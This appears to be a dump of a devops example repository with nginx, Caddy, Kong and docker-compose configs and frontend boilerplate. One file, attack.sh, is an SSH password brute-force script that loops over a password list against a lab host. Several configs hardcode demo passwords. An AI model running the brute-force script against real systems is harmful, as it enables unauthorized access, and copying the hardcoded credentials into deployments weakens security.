25 | - /etc/hosts:/etc/hosts:ro
26 |
--------------------------------------------------------------------------------
/dockerize/react/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es5",
4 | "lib": [
5 | "dom",
6 | "dom.iterable",
7 | "esnext"
8 | ],
9 | "allowJs": true,
10 | "skipLibCheck": true,
11 | "esModuleInterop": true,
12 | "allowSyntheticDefaultImports": true,
13 | "strict": true,
14 | "forceConsistentCasingInFileNames": true,
15 | "noFallthroughCasesInSwitch": true,
16 | "module": "esnext",
17 | "moduleResolution": "node",
18 | "resolveJsonModule": true,
19 | "isolatedModules": true,
20 | "noEmit": true,
21 | "jsx": "react-jsx"
22 | },
23 | "include": [
24 | "src"
25 | ]
26 | }
27 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/index.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import ReactDOM from 'react-dom/client';
3 | import './index.css';
4 | import App from './App';
5 | import reportWebVitals from './reportWebVitals';
6 |
7 | const root = ReactDOM.createRoot(
8 | document.getElementById('root') as HTMLElement
9 | );
10 | root.render(
11 |
12 |
13 |
14 | );
15 |
16 | // If you want to start measuring performance in your app, pass a function
17 | // to log results (for example: reportWebVitals(console.log))
18 | // or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
19 | reportWebVitals();
20 |
--------------------------------------------------------------------------------
/nginx/apikey_auth/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | include apikeys.conf;
4 | # will provide $api_client_name
5 |
6 | server{
7 | listen 9999;
8 | location / {
9 | auth_request /_validate_apikey;
10 | proxy_pass http://backend/;
11 | }
12 |
13 | location = /_validate_apikey {
14 | internal;
15 |
16 | if ($http_apikey = "") {
17 | return 401; # Unauthorized
18 | }
19 |
20 | if ($api_client_name = "") {
21 | return 403; # Forbidden
22 | }
23 |
24 | return 204; # OK (no content)
25 | }
26 | }
27 | }
28 |
29 | events {}
30 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es5",
4 | "lib": [
5 | "dom",
6 | "dom.iterable",
7 | "esnext"
8 | ],
9 | "allowJs": true,
10 | "skipLibCheck": true,
11 | "esModuleInterop": true,
12 | "allowSyntheticDefaultImports": true,
13 | "strict": true,
14 | "forceConsistentCasingInFileNames": true,
15 | "noFallthroughCasesInSwitch": true,
16 | "module": "esnext",
17 | "moduleResolution": "node",
18 | "resolveJsonModule": true,
19 | "isolatedModules": true,
20 | "noEmit": true,
21 | "jsx": "react-jsx"
22 | },
23 | "include": [
24 | "src"
25 | ]
26 | }
27 |
--------------------------------------------------------------------------------
/dockerize/react/src/App.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import logo from './logo.svg';
3 | import './App.css';
4 |
5 | function App() {
6 | return (
7 |
23 | );
24 | }
25 |
26 | export default App;
27 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/.browserslistrc:
--------------------------------------------------------------------------------
1 | # This file is used by the build system to adjust CSS and JS output to support the specified browsers below.
2 | # For additional information regarding the format and rule options, please see:
3 | # https://github.com/browserslist/browserslist#queries
4 |
5 | # For the full list of supported browsers by the Angular framework, please see:
6 | # https://angular.io/guide/browser-support
7 |
8 | # You can see what browsers were selected by your queries by running:
9 | # npx browserslist
10 |
11 | last 1 Chrome version
12 | last 1 Firefox version
13 | last 2 Edge major versions
14 | last 2 Safari major versions
15 | last 2 iOS major versions
16 | Firefox ESR
17 |
--------------------------------------------------------------------------------
/nginx/cache/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m
4 | max_size=10g
5 | inactive=60m use_temp_path=off;
6 |
7 | upstream app{
8 | server 192.168.43.252:3000;
9 | }
10 |
11 | server{
12 | listen 9999;
13 | location / {
14 | proxy_pass http://app/;
15 | }
16 |
17 | location /cache {
18 | proxy_cache my_cache;
19 | proxy_cache_bypass $http_pragma;
20 | proxy_cache_revalidate on;
21 | proxy_cache_valid 200 60m;
22 | proxy_cache_valid 404 1m;
23 |
24 | # proxy_set_header Host $host;
25 | proxy_pass http://app/;
26 | }
27 | }
28 | }
29 |
30 | events{}
31 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-high-available/publisher.js:
--------------------------------------------------------------------------------
1 | const amqp = require('amqp-connection-manager')
2 | const q = 'tasks'
3 |
4 | const main = async () => {
5 | const connection = amqp.connect([
6 | 'amqp://user:password@localhost:5671',
7 | 'amqp://user:password@localhost:5672',
8 | 'amqp://user:password@localhost:5673'
9 | ])
10 |
11 | let channel = connection.createChannel({
12 | json: true,
13 | setup: ch => {
14 | return ch.assertQueue(q, { durable: true })
15 | }
16 | })
17 |
18 | console.log("started publishing")
19 | setInterval(async () => {
20 | await channel.sendToQueue(q, { value: Math.random() })
21 | }, 100);
22 | }
23 |
24 | main()
--------------------------------------------------------------------------------
/remote-linux-access/sshwifty/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.9'
2 | services:
3 | sshwifty:
4 | image: niruix/sshwifty:latest
5 | container_name: sshwifty
6 | ports:
7 | - 8182:8182
8 | restart: always
9 | environment:
10 | - SSHWIFTY_SHAREDKEY=powefv0qwdhouafpth
11 | - SSHWIFTY_PRESETS=[{"Title":"lab","Type":"SSH","Host":"lab:22","Meta":{"Encoding":"utf-8","User":"lab","Authentication":"Password","Fingerprint":"SHA256:6LfjwqEvd4ebkpgJC/dUytErPQW3bZL4eDySjqMw8IA"}}]
12 | - SSHWIFTY_LISTENINTERFACE=0.0.0.0
13 | - SSHWIFTY_TLSCERTIFICATEFILE=/certs/pc.com.crt
14 | - SSHWIFTY_TLSCERTIFICATEKEYFILE=/certs/pc.com.key
15 | volumes:
16 | - ./certs:/certs
17 |
--------------------------------------------------------------------------------
/nginx/custom-pages/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream app{
3 | server 192.168.43.252:6969;
4 | }
5 | upstream authenticate{
6 | server 192.168.43.252:3000;
7 | }
8 |
9 | server{
10 | listen 9999;
11 | location /app {
12 | proxy_pass http://app/;
13 | }
14 |
15 | location /authenticate {
16 | proxy_pass http://authenticate/;
17 | }
18 |
19 |
20 | error_page 404 /404.html;
21 | location = /404.html {
22 | root /usr/share/nginx/html;
23 | internal;
24 | }
25 |
26 | error_page 500 502 503 504 /50x.html;
27 | location = /50x.html {
28 | root /usr/share/nginx/html;
29 | internal;
30 | }
31 | }
32 | }
33 |
34 | events{}
35 |
--------------------------------------------------------------------------------
/caddy/cache/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 |
3 | redis:
4 | image: redis:7.0
5 | container_name: redis
6 | command: bash -c "redis-server"
7 |
8 | backend:
9 | image: sinawic/echo_server:latest
10 | container_name: sinawic-echo-server
11 | ports:
12 | - 8080:80
13 | environment:
14 | - NODE_ENV=production
15 | restart: unless-stopped
16 |
17 | caddy:
18 | image: sinawic/caddy:2.8.4-cache
19 | container_name: caddy
20 | restart: unless-stopped
21 | environment:
22 | - TZ=Europe/Berlin
23 | ports:
24 | - 80:80
25 | - 443:443
26 | volumes:
27 | - ./CaddyFile:/etc/caddy/Caddyfile
28 | - ./data:/data
29 | - ./config:/config
30 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/nginx/scgi_params:
--------------------------------------------------------------------------------
1 |
2 | scgi_param REQUEST_METHOD $request_method;
3 | scgi_param REQUEST_URI $request_uri;
4 | scgi_param QUERY_STRING $query_string;
5 | scgi_param CONTENT_TYPE $content_type;
6 |
7 | scgi_param DOCUMENT_URI $document_uri;
8 | scgi_param DOCUMENT_ROOT $document_root;
9 | scgi_param SCGI 1;
10 | scgi_param SERVER_PROTOCOL $server_protocol;
11 | scgi_param REQUEST_SCHEME $scheme;
12 | scgi_param HTTPS $https if_not_empty;
13 |
14 | scgi_param REMOTE_ADDR $remote_addr;
15 | scgi_param REMOTE_PORT $remote_port;
16 | scgi_param SERVER_PORT $server_port;
17 | scgi_param SERVER_NAME $server_name;
18 |
--------------------------------------------------------------------------------
/bun/next/app/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "ES2017",
4 | "lib": ["dom", "dom.iterable", "esnext"],
5 | "allowJs": true,
6 | "skipLibCheck": true,
7 | "strict": true,
8 | "noEmit": true,
9 | "esModuleInterop": true,
10 | "module": "esnext",
11 | "moduleResolution": "bundler",
12 | "resolveJsonModule": true,
13 | "isolatedModules": true,
14 | "jsx": "preserve",
15 | "incremental": true,
16 | "plugins": [
17 | {
18 | "name": "next"
19 | }
20 | ],
21 | "paths": {
22 | "@/*": ["./*"]
23 | }
24 | },
25 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
26 | "exclude": ["node_modules"]
27 | }
28 |
--------------------------------------------------------------------------------
/caddy/file_server/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | basic_auth /static/bob/* {
8 | bob $2y$05$7sDGqNnVUISQeQd3kXlUe.VCbM4D8ncPXcjyx9bIRoKjpde/j8PoK
9 | }
10 |
11 | basic_auth /static/alice/* {
12 | alice $2y$05$xfiQVMxPgJX2HHolxi4t2.bwfX6j2bohRqZvOEif02g.rN4RwNu62
13 | }
14 |
15 | # Handle requests to /static/*
16 | handle_path /static/* {
17 |
18 | encode zstd gzip
19 | templates
20 | root * /static
21 | file_server {
22 | browse
23 | hide secret
24 | }
25 | }
26 |
27 | # Default response for all other requests
28 | handle {
29 | respond "Welcome to yourdomain.com" 200
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/redis/redis-replica/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | redis:
5 | image: redis:7
6 | container_name: master
7 | command: bash -c "redis-server --appendonly yes --requirepass password"
8 | ports:
9 | - "6379:6379"
10 | networks:
11 | - redis-replication
12 | volumes:
13 | - ./data:/data
14 |
15 | redis-slave:
16 | image: redis:7
17 | container_name: slave
18 | ports:
19 | - "6380:6379"
20 | command: redis-server /etc/redis.conf --replicaof master 6379
21 | depends_on:
22 | - redis
23 | volumes:
24 | - ./redis.conf:/etc/redis.conf
25 | networks:
26 | - redis-replication
27 |
28 | networks:
29 | redis-replication:
30 | driver: bridge
31 |
--------------------------------------------------------------------------------
/remote-linux-access/shell-in-a-box/os.sh:
--------------------------------------------------------------------------------
1 |
2 | sudo apt install shellinabox
3 | sudo nano /etc/default/shellinabox
4 |
5 | # Should shellinaboxd start automatically
6 | SHELLINABOX_DAEMON_START=1
7 |
8 | # TCP port that shellinboxd's webserver listens on
9 | SHELLINABOX_PORT=6175
10 |
11 | # Parameters that are managed by the system and usually should not need
12 | # changing:
13 | # SHELLINABOX_DATADIR=/var/lib/shellinabox
14 | # SHELLINABOX_USER=shellinabox
15 | # SHELLINABOX_GROUP=shellinabox
16 |
17 |
18 | # if you want to restrict access to shellinaboxd from localhost only
19 | OPTS="-s /:SSH:1.1.1.9 --localhost-only"
20 |
21 | sudo systemctl restart shellinabox
22 | sudo systemctl status shellinabox
23 |
24 | sudo netstat -nap | grep shellinabox
--------------------------------------------------------------------------------
/dockerize/react/src/App.css:
--------------------------------------------------------------------------------
1 | .App {
2 | text-align: center;
3 | }
4 |
5 | .App-logo {
6 | height: 40vmin;
7 | pointer-events: none;
8 | }
9 |
10 | @media (prefers-reduced-motion: no-preference) {
11 | .App-logo {
12 | animation: App-logo-spin infinite 20s linear;
13 | }
14 | }
15 |
16 | .App-header {
17 | background-color: #282c34;
18 | min-height: 100vh;
19 | display: flex;
20 | flex-direction: column;
21 | align-items: center;
22 | justify-content: center;
23 | font-size: calc(10px + 2vmin);
24 | color: white;
25 | }
26 |
27 | .App-link {
28 | color: #61dafb;
29 | }
30 |
31 | @keyframes App-logo-spin {
32 | from {
33 | transform: rotate(0deg);
34 | }
35 | to {
36 | transform: rotate(360deg);
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/mongodb/standalone/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 |
3 | services:
4 |
5 | mongo:
6 | image: mongo:6
7 | restart: always
8 | container_name: mongo
9 | environment:
10 | MONGO_INITDB_ROOT_USERNAME: root
11 | MONGO_INITDB_ROOT_PASSWORD: example
12 | # MONGO_INITDB_DATABASE: init
13 | volumes:
14 | - ./db_data/:/data/db/
15 | - /etc/timezone:/etc/timezone:ro
16 |
17 | mongo-express:
18 | image: mongo-express
19 | restart: always
20 | container_name: mongo_ui
21 | ports:
22 | - 8081:8081
23 | environment:
24 | ME_CONFIG_MONGODB_ADMINUSERNAME: root
25 | ME_CONFIG_MONGODB_ADMINPASSWORD: example
26 | ME_CONFIG_MONGODB_URL: mongodb://root:example@mongo:27017/
27 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/nginx/uwsgi_params:
--------------------------------------------------------------------------------
1 |
2 | uwsgi_param QUERY_STRING $query_string;
3 | uwsgi_param REQUEST_METHOD $request_method;
4 | uwsgi_param CONTENT_TYPE $content_type;
5 | uwsgi_param CONTENT_LENGTH $content_length;
6 |
7 | uwsgi_param REQUEST_URI $request_uri;
8 | uwsgi_param PATH_INFO $document_uri;
9 | uwsgi_param DOCUMENT_ROOT $document_root;
10 | uwsgi_param SERVER_PROTOCOL $server_protocol;
11 | uwsgi_param REQUEST_SCHEME $scheme;
12 | uwsgi_param HTTPS $https if_not_empty;
13 |
14 | uwsgi_param REMOTE_ADDR $remote_addr;
15 | uwsgi_param REMOTE_PORT $remote_port;
16 | uwsgi_param SERVER_PORT $server_port;
17 | uwsgi_param SERVER_NAME $server_name;
18 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/environments/environment.ts:
--------------------------------------------------------------------------------
1 | // This file can be replaced during build by using the `fileReplacements` array.
2 | // `ng build` replaces `environment.ts` with `environment.prod.ts`.
3 | // The list of file replacements can be found in `angular.json`.
4 |
5 | export const environment = {
6 | production: false
7 | };
8 |
9 | /*
10 | * For easier debugging in development mode, you can import the following file
11 | * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`.
12 | *
13 | * This import should be commented out in production mode because it will have a negative impact
14 | * on performance if an error is thrown.
15 | */
16 | // import 'zone.js/plugins/zone-error'; // Included with Angular CLI.
17 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-high-available/consumer.js:
--------------------------------------------------------------------------------
1 | const amqp = require('amqp-connection-manager')
2 | const q = 'tasks'
3 |
4 | const main = async () => {
5 | const connection = amqp.connect([
6 | 'amqp://user:password@localhost:5671',
7 | 'amqp://user:password@localhost:5672',
8 | 'amqp://user:password@localhost:5673'
9 | ])
10 |
11 | let channel = connection.createChannel({
12 | json: true,
13 | setup: ch => {
14 | return ch.assertQueue(q, { durable: true })
15 | }
16 | })
17 |
18 | channel.addSetup(ch => {
19 | return Promise.all([
20 | ch.consume(q, msg => {
21 | console.log(msg.content.toString())
22 | }, { noAck: true, exclusive: false })
23 | ])
24 | })
25 | }
26 |
27 | main()
--------------------------------------------------------------------------------
/json-server/db.json:
--------------------------------------------------------------------------------
1 | {
2 | "posts": [
3 | {
4 | "id": 1,
5 | "title": "json-server",
6 | "author": "typicode"
7 | },
8 | {
9 | "id": 2,
10 | "title": "json-server2",
11 | "author": "typicode2"
12 | },
13 | {
14 | "id": 3,
15 | "title": "json-server3",
16 | "author": "typicode3"
17 | },
18 | {
19 | "id": 4,
20 | "title": "json-server4",
21 | "author": "typicode4"
22 | },
23 | {
24 | "id": 5,
25 | "title": "json-server5",
26 | "author": "typicode5"
27 | }
28 | ],
29 | "comments": [
30 | {
31 | "id": 1,
32 | "body": "some comment",
33 | "postId": 1
34 | }
35 | ],
36 | "profile": {
37 | "name": "typicode"
38 | }
39 | }
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/App.css:
--------------------------------------------------------------------------------
1 | .App {
2 | text-align: center;
3 | }
4 |
5 | .App-logo {
6 | height: 40vmin;
7 | pointer-events: none;
8 | }
9 |
10 | @media (prefers-reduced-motion: no-preference) {
11 | .App-logo {
12 | animation: App-logo-spin infinite 20s linear;
13 | }
14 | }
15 |
16 | .App-header {
17 | background-color: #282c34;
18 | min-height: 100vh;
19 | display: flex;
20 | flex-direction: column;
21 | align-items: center;
22 | justify-content: center;
23 | font-size: calc(10px + 2vmin);
24 | color: white;
25 | }
26 |
27 | .App-link {
28 | color: #61dafb;
29 | }
30 |
31 | @keyframes App-logo-spin {
32 | from {
33 | transform: rotate(0deg);
34 | }
35 | to {
36 | transform: rotate(360deg);
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/nginx/auth_req/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream app{
3 | server 192.168.43.252:6969;
4 | }
5 | upstream authenticate{
6 | server 192.168.43.252:3000;
7 | }
8 |
9 | server{
10 | listen 9999;
11 | location / {
12 | proxy_pass http://app/;
13 | }
14 |
15 | location /private {
16 | auth_request /auth;
17 | auth_request_set $auth_status $upstream_status;
18 | proxy_pass http://app/;
19 | }
20 |
21 | location = /auth {
22 | internal;
23 | proxy_pass http://authenticate/;
24 | proxy_pass_request_body off;
25 | # proxy_pass_request_headers off;
26 | proxy_set_header Content-Length "";
27 | proxy_set_header X-Original-URI $request_uri;
28 | }
29 |
30 | }
31 | }
32 |
33 | events{}
34 |
--------------------------------------------------------------------------------
/nginx/nginx-self-ssl/conf.d/echo.conf:
--------------------------------------------------------------------------------
1 | upstream echo {
2 | server echo-server;
3 | }
4 |
5 | server{
6 | listen 80;
7 | server_name 17.2.1.7;
8 | return 301 https://$host$request_uri;
9 | }
10 |
11 | server {
12 | listen 443 ssl;
13 | server_name 17.2.1.7;
14 | client_max_body_size 10240M;
15 |
16 | ssl_certificate /etc/certs/17.2.1.7.crt;
17 | ssl_certificate_key /etc/certs/17.2.1.7.key;
18 |
19 | location / {
20 | proxy_set_header Host $host;
21 | proxy_set_header X-Real-IP $remote_addr;
22 | proxy_pass http://echo;
23 | proxy_set_header Upgrade $http_upgrade;
24 | proxy_set_header Connection "Upgrade";
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/caddy/custom_logs/CaddyFile:
--------------------------------------------------------------------------------
1 | (logging) {
2 | log {
3 | # Customize log rolling:
4 | output file /logs/api_{args.0}.log {
5 | roll_size 1gb
6 | roll_keep 5
7 | roll_keep_for 720h
8 | }
9 | # Delete the User-Agent request header from the logs:
10 | format filter {
11 | request>headers>User-Agent delete
12 | }
13 | format append {
14 | fields {
15 | env docker
16 | }
17 | }
18 | level {args.1}
19 | }
20 | }
21 |
22 | {
23 | auto_https off
24 | import logging error ERROR
25 | }
26 |
27 | :80, :443 {
28 |
29 | import logging access INFO
30 |
31 | handle /api/* {
32 | reverse_proxy backend:80
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/nginx/static-response/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | server {
4 | listen 9999;
5 | client_max_body_size 64M;
6 |
7 | location /text {
8 | return 200 'Hello, world!';
9 | }
10 |
11 | location /html {
12 | add_header Content-Type text/html;
13 | return 200 '
14 |
15 |
16 |
17 | Example Page
18 |
19 |
20 | This is an example page
21 | Hello, world!
22 |
23 |
24 | ';
25 | }
26 |
27 | location /json {
28 | add_header Content-Type application/json;
29 | return 200 '{"message": "Hello, world!"}';
30 | }
31 |
32 | }
33 |
34 | }
35 |
36 | events{}
--------------------------------------------------------------------------------
/caddy/custom_ssl/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | backend2:
12 | image: ealen/echo-server:latest
13 | restart: always
14 | environment:
15 | - ENABLE__ENVIRONMENT=false
16 | ports:
17 | - 8001:80
18 |
19 | caddy:
20 | image: caddy:2.8.4
21 | container_name: caddy
22 | restart: unless-stopped
23 | environment:
24 | - TZ=Europe/Berlin
25 | ports:
26 | - 80:80
27 | - 443:443
28 | volumes:
29 | - ./CaddyFile:/etc/caddy/Caddyfile
30 | - ./data:/data
31 | - ./config:/config
32 | - ./certs:/certs
33 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/nginx/nginx.conf:
--------------------------------------------------------------------------------
1 |
2 | user nginx;
3 | worker_processes auto;
4 |
5 | error_log /var/log/nginx/error.log notice;
6 | pid /var/run/nginx.pid;
7 |
8 |
9 | events {
10 | worker_connections 1024;
11 | }
12 |
13 |
14 | http {
15 | include /etc/nginx/mime.types;
16 | default_type application/octet-stream;
17 |
18 | log_format main '$remote_addr - $remote_user [$time_local] "$request" '
19 | '$status $body_bytes_sent "$http_referer" '
20 | '"$http_user_agent" "$http_x_forwarded_for"';
21 |
22 | access_log /var/log/nginx/access.log main;
23 |
24 | sendfile on;
25 | #tcp_nopush on;
26 |
27 | keepalive_timeout 65;
28 |
29 | #gzip on;
30 |
31 | include /etc/nginx/conf.d/*.conf;
32 | }
33 |
--------------------------------------------------------------------------------
/bun/next/app/app/globals.css:
--------------------------------------------------------------------------------
1 | :root {
2 | --background: #ffffff;
3 | --foreground: #171717;
4 | }
5 |
6 | @media (prefers-color-scheme: dark) {
7 | :root {
8 | --background: #0a0a0a;
9 | --foreground: #ededed;
10 | }
11 | }
12 |
13 | html,
14 | body {
15 | max-width: 100vw;
16 | overflow-x: hidden;
17 | }
18 |
19 | body {
20 | color: var(--foreground);
21 | background: var(--background);
22 | font-family: Arial, Helvetica, sans-serif;
23 | -webkit-font-smoothing: antialiased;
24 | -moz-osx-font-smoothing: grayscale;
25 | }
26 |
27 | * {
28 | box-sizing: border-box;
29 | padding: 0;
30 | margin: 0;
31 | }
32 |
33 | a {
34 | color: inherit;
35 | text-decoration: none;
36 | }
37 |
38 | @media (prefers-color-scheme: dark) {
39 | html {
40 | color-scheme: dark;
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/kong/2023/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | kong:
5 | image: kong
6 | container_name: kong
7 | volumes:
8 | - "./config:/usr/local/kong/declarative"
9 | environment:
10 | - KONG_DATABASE=off
11 | - KONG_DECLARATIVE_CONFIG=/usr/local/kong/declarative/kong.yml
12 | - KONG_PROXY_ACCESS_LOG=/dev/stdout
13 | - KONG_ADMIN_ACCESS_LOG=/dev/stdout
14 | - KONG_PROXY_ERROR_LOG=/dev/stderr
15 | - KONG_ADMIN_ERROR_LOG=/dev/stderr
16 | - KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl
17 | - KONG_LOG_LEVEL=debug
18 | - KONG_PLUGINS=bundled
19 | ports:
20 | - "8000:8000/tcp"
21 | - "127.0.0.1:7990:8001/tcp"
22 | - "8001:8001/tcp"
23 | - "8443:8443/tcp"
24 | - "127.0.0.1:8444:8444/tcp"
25 |
--------------------------------------------------------------------------------
/caddy/static_response/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | handle /404 {
8 | respond "Page not foundd" 404
9 | }
10 |
11 | handle /custom-header {
12 | header X-Custom-Header "This is a custom header"
13 | respond "Custom Header Response" 200
14 | }
15 |
16 | handle /json {
17 | header Content-Type "application/json"
18 | respond `{"message": "Hello, API!", "status": "success"}` 200
19 | }
20 |
21 | handle /html {
22 | header Content-Type "text/html"
23 | respond "Under Maintenance! This is a simple HTML response.
" 200
24 | }
25 |
26 | # Default response for all other requests
27 | handle {
28 | respond "Welcome to yourdomain.com" 200
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/kong/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | kong:
5 | image: kong
6 | volumes:
7 | - "./config:/usr/local/kong/declarative"
8 | - "./logs/file.log:/file.log"
9 | environment:
10 | - KONG_DATABASE=off
11 | - KONG_DECLARATIVE_CONFIG=/usr/local/kong/declarative/kong.yml
12 | - KONG_PROXY_ACCESS_LOG=/dev/stdout
13 | - KONG_ADMIN_ACCESS_LOG=/dev/stdout
14 | - KONG_PROXY_ERROR_LOG=/dev/stderr
15 | - KONG_ADMIN_ERROR_LOG=/dev/stderr
16 | - KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl
17 | - KONG_LOG_LEVEL=debug
18 | - KONG_PLUGINS=bundled
19 | ports:
20 | - "8000:8000/tcp"
21 | - "127.0.0.1:7990:8001/tcp"
22 | - "8001:8001/tcp"
23 | - "8443:8443/tcp"
24 | - "127.0.0.1:8444:8444/tcp"
25 |
--------------------------------------------------------------------------------
/caddy/load_balancing/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | backend:
3 | image: sinawic/echo_server:latest
4 | container_name: sinawic-echo-server
5 | ports:
6 | - 8080:80
7 | environment:
8 | - NODE_ENV=production
9 | restart: unless-stopped
10 |
11 | backend2:
12 | image: sinawic/echo_server:latest
13 | container_name: sinawic-echo-server
14 | ports:
15 | - 8080:80
16 | environment:
17 | - NODE_ENV=production
18 | restart: unless-stopped
19 |
20 | caddy:
21 | image: caddy:2.8.4
22 | container_name: caddy
23 | restart: unless-stopped
24 | environment:
25 | - TZ=Europe/Berlin
26 | ports:
27 | - 80:80
28 | - 443:443
29 | volumes:
30 | - ./CaddyFile:/etc/caddy/Caddyfile
31 | - ./data:/data
32 | - ./config:/config
33 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: wyveo/nginx-php-fpm:php82
5 | volumes:
6 | - ./nginx:/etc/nginx/
7 | - ./htpasswd:/htpasswd
8 | - ./html:/usr/share/nginx/html
9 | ports:
10 | - 80:80
11 | db:
12 | container_name: db
13 | image: mysql:5.7
14 | restart: always
15 | environment:
16 | MYSQL_ROOT_PASSWORD: MYSQL_ROOT_PASSWORD
17 | MYSQL_DATABASE: MYSQL_DATABASE
18 | MYSQL_USER: MYSQL_USER
19 | MYSQL_PASSWORD: MYSQL_PASSWORD
20 | ports:
21 | - "9906:3306"
22 | volumes:
23 | - ./my-datavolume:/var/lib/mysql
24 | phpmyadmin:
25 | image: phpmyadmin/phpmyadmin
26 | ports:
27 | - '8080:80'
28 | restart: always
29 | environment:
30 | PMA_HOST: db
31 | depends_on:
32 | - db
33 |
--------------------------------------------------------------------------------
/postgres/postgres-docker-compose/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2'
2 |
3 | services:
4 | postgres:
5 | container_name: postgres
6 | image: "postgres:13.0-alpine"
7 | environment:
8 | POSTGRES_DB: postgres
9 | POSTGRES_USER: "root"
10 | POSTGRES_PASSWORD: "ASDF@4121"
11 | PGDATA: "/data/postgres"
12 | volumes:
13 | - ./postgres:/data/postgres
14 | ports:
15 | - "15432:5432"
16 | restart: unless-stopped
17 |
18 | pgadmin:
19 | container_name: pgadmin
20 | image: "dpage/pgadmin4:4.24"
21 | environment:
22 | PGADMIN_DEFAULT_EMAIL: admin
23 | PGADMIN_DEFAULT_PASSWORD: ASDF@4121
24 | volumes:
25 | - ./docker_pgadmin_servers.json:/pgadmin4/servers.json
26 | ports:
27 | - "15433:80"
28 | restart: unless-stopped
29 | depends_on:
30 | - postgres
31 |
--------------------------------------------------------------------------------
/ssh-bruteforce/clive/attack.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 |
4 | export USERNAME=test
5 | export HOST=10.10.10.69
6 |
7 | file_path="password_list.txt"
8 |
9 | # Check if the file exists
10 | if [ -f "$file_path" ]; then
11 | # Read each line of the file
12 | while IFS= read -r password; do
13 | # check if hunted.txt exists
14 | # which will mean password is cracked!
15 | if [ -f "hunted.txt" ]; then
16 | echo "PASSWORD FOUND!"
17 | exit 0
18 | fi
19 | echo "attempting password: $password"
20 | export PASSWORD=$password
21 | cat clive-sample.yml > clive.yml
22 | sed -i 's/${HOST}/'$HOST'/' clive.yml
23 | sed -i 's/${USERNAME}/'$USERNAME'/' clive.yml
24 | sed -i 's/${PASSWORD}/'$PASSWORD'/' clive.yml
25 | clive start
26 | done < "$file_path"
27 | else
28 | echo "Passwords file not found."
29 | fi
30 |
--------------------------------------------------------------------------------
/bun/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://bun.sh/docs
3 | # https://bun.sh/docs/quickstart
4 | # https://bun.sh/docs/runtime/hot
5 |
6 | # https://bun.sh/docs/api/http
7 | # https://bun.sh/docs/runtime/env
8 |
9 | # https://bun.sh/docs/api/file-io
10 |
11 | # https://bun.sh/docs/api/websockets
12 |
13 |
14 | # 1) getting started
15 | docker pull oven/bun:1.0
16 | docker run --rm -d -v $PWD/app:/home/bun/app -p 8080:8080 oven/bun:1.0 sleep 36000
17 | bun init
18 | bun run index.ts
19 | chmod -R a+rwx ../app/
20 | # "bun --watch run index.ts" > package.json
21 | bun add axios
22 |
23 | # 2) dockerize
24 | docker run --rm -d -v $PWD/app:/home/bun/app -p 8080:8080 oven/bun:1.0 sleep 36000
25 | # "prod": "bun index.ts" > package.json
26 | docker build -t my bun .
27 | docker-compose up -d
28 |
29 | # 3) file i/o
30 |
31 | # 4) web socket
32 |
33 | # 5) nextjs bun
34 |
35 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/.gitignore:
--------------------------------------------------------------------------------
1 | # See http://help.github.com/ignore-files/ for more about ignoring files.
2 |
3 | # compiled output
4 | /dist
5 | /tmp
6 | /out-tsc
